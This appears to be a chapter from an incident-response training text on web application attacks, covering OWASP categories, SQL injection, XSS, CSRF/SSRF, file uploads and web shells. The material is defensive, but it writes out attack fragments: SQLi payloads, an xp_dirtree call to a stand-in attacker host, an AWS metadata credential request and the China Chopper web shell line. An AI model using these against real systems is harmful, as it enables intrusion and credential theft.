8.1 Web Application Threat Vectors: Injection, XSS, and CSRF Incidents

Web Application Threat Vectors: Injection, XSS, and CSRF Incidents

Web applications represent the primary public perimeter for modern enterprises, exposing databases, microservices, and identity providers directly to the internet. Consequently, web application vulnerabilities constitute the most frequent initial access vector for corporate breaches and server compromises. Incident handlers must master web exploit mechanics, distinguish client-side from server-side execution paths, recognize injection signatures, and understand how authorization flaws escalate into cloud compromises.

The OWASP Top 10 Incident Taxonomy

The Open Worldwide Application Security Project (OWASP) Top 10 is an awareness document for major web-application risk categories. Handlers can use it as classification context, but incident priority must come from exploitability, affected assets, data, and observed impact:

• A01 Broken Access Control: Unauthorized access or modification outside intended privilege boundaries, including IDOR and path traversal.
• A02 Cryptographic Failures: Cleartext transmission (HTTP vs. HTTPS), weak ciphers, hardcoded secrets, or missing encryption.
• A03 Injection: Untrusted input concatenated directly into interpreters (SQL, NoSQL, OS command, LDAP) without sanitization or parameterization.
• A04 Insecure Design: Architectural flaws in business logic, such as unthrottled password resets.
• A05 Security Misconfiguration: Unpatched servers, default credentials, verbose stack traces, and open cloud storage buckets.
• A06 Vulnerable Components: Exploitation of unpatched third-party dependencies such as Log4Shell.
• A07 Identification and Authentication Failures: Credential stuffing, brute-forcing, weak sessions, or missing MFA.
• A08 Software and Data Integrity Failures: Unverified update pipelines and insecure deserialization flaws.
• A09 Security Logging and Monitoring Failures: Insufficient logging that impedes timely detection and forensic reconstruction.
• A10 Server-Side Request Forgery (SSRF): Backend servers fetching remote resources without destination URI validation.

SQL Injection (SQLi) Mechanics and Triage

SQL Injection occurs when untrusted input manipulates backend database queries across three primary channels:

In-Band SQLi (Classic)

The adversary uses the same channel to launch the exploit and harvest results:

• Error-Based SQLi: Injecting malformed syntax (unclosed quotes, CAST('test' AS int), division by zero) forcing the database to output error messages exposing schema details or table records.
• UNION-Based SQLi: Injecting UNION operators to join legitimate query results with an attacker-crafted SELECT statement. Attackers determine column counts using ORDER BY n, balance column types with NULL placeholders, and extract data from catalogs such as information_schema.tables.

Blind SQLi (Inferential)

No database errors or records appear in responses; attackers reconstruct data through inference:

• Boolean-Based Blind: Injecting SQL conditions evaluating to true or false (' AND 1=1 -- vs. ' AND 1=2 --). Handlers identify this attack by observing subtle variations in HTTP response codes, page content, or Content-Length headers across iterative requests.
• Time-Based Blind: When responses are identical, forcing execution pauses using sleep commands (WAITFOR DELAY '0:0:5' in MSSQL, pg_sleep(5) in PostgreSQL, or SLEEP(5) in MySQL). Consistent response latency confirms true assertions.

Out-of-Band (OOB) SQLi

When direct responses are suppressed and latency is unstable, attackers force the database to initiate outbound DNS or SMB requests. In Microsoft SQL Server, attackers execute xp_dirtree or xp_fileexist against external UNC paths (\\attacker.com\share), while Oracle databases initiate outbound HTTP connections via UTL_HTTP or UTL_INADDR.

Detecting SQLi Payloads

Handlers detect SQLi by identifying signatures across web parameters, URI queries, and database query logs: single quotes ('), comment delimiters (--, /*, #), tautologies (' OR '1'='1), hex literals (0x...), and keywords (SELECT, UNION, CONCAT, SCHEMA). Correlating web access requests with database audit logs confirms whether payloads triggered unhandled exceptions or executed against backend tables.

Cross-Site Scripting (XSS) Typologies and Impact

Cross-Site Scripting executes malicious client-side scripts within victim browsers, bypassing the Same-Origin Policy (SOP):

• Stored (Persistent) XSS: Injected scripts are stored permanently in databases, message boards, or profiles. A user who renders the affected resource may execute the payload. Stored delivery can broaden exposure, but severity depends on context, privileges, defenses, and impact rather than XSS subtype alone.
• Reflected (Non-Persistent) XSS: Injected scripts are delivered via crafted URLs or parameters and reflected off the server in immediate responses, requiring social engineering to induce user clicks.
• DOM-Based XSS: The vulnerability exists entirely in client-side JavaScript. User input from a DOM source (location.search, document.referrer) flows into an unsafe execution sink (innerHTML, document.write(), eval()) without server intervention.

Operational Impact of XSS

In enterprise compromises, adversaries exploit XSS for:

1. Session Hijacking: Reading document.cookie to steal session tokens when cookies lack HttpOnly.
2. Credential Harvesting: Injecting fake DOM login dialogs to steal user passwords and MFA codes.
3. In-Browser Keylogging: Attaching event listeners (addEventListener('keypress', ...)) to exfiltrate typed keystrokes to external listeners.

CSRF vs. SSRF: Trust Models and Cloud Metadata Exploitation

Handlers must differentiate between Cross-Site Request Forgery (CSRF) and Server-Side Request Forgery (SSRF):

• CSRF (Abuses Client Trust): Exploits the trust an application places in an authenticated user's browser. Attackers trick the victim into submitting unauthorized state-changing HTTP requests. The browser automatically attaches ambient session cookies, causing the server to process the request as authentic.
• SSRF (Abuses Server Trust): Exploits the trust backend servers possess within private network architectures. Attackers force the vulnerable server to issue requests to internal, non-internet-facing resources.

SSRF Targeting Cloud Metadata Services

In cloud environments, SSRF is critical because instances query the non-routable link-local address 169.254.169.254. Under AWS IMDSv1, instances process unauthenticated GET requests:

GET /latest/meta-data/iam/security-credentials/{role-name} HTTP/1.1
Host: 169.254.169.254

Attackers exploit SSRF in document converters or webhooks to request this endpoint, retrieving temporary AWS STS credentials (AccessKeyId, SecretAccessKey, Token) and escalating to cloud infrastructure compromise.

File Upload Vulnerabilities, Web Shells, and BOLA/IDOR

Unrestricted file uploads provide an immediate path to Remote Code Execution (RCE). Attackers evade validation using alternate extensions (.phtml, .jspx, .ashx), double extensions (invoice.php.png), null-byte truncation, or spoofing magic bytes (GIF89a). Once uploaded, attackers execute Web Shells:

• China Chopper: A compact one-liner web shell (eval(\$_POST['cmd']);) requiring minimal footprint.
• Full Frameworks: Scripts like c99, r57, or b374k providing interactive shell execution, file browsing, and lateral pivoting.

Finally, handlers frequently encounter Broken Object Level Authorization (BOLA) or Insecure Direct Object References (IDOR). BOLA occurs when APIs expose object identifiers (such as /api/documents/1042) without validating whether the requesting user owns that resource, enabling sequential enumeration and unauthorized mass data exfiltration.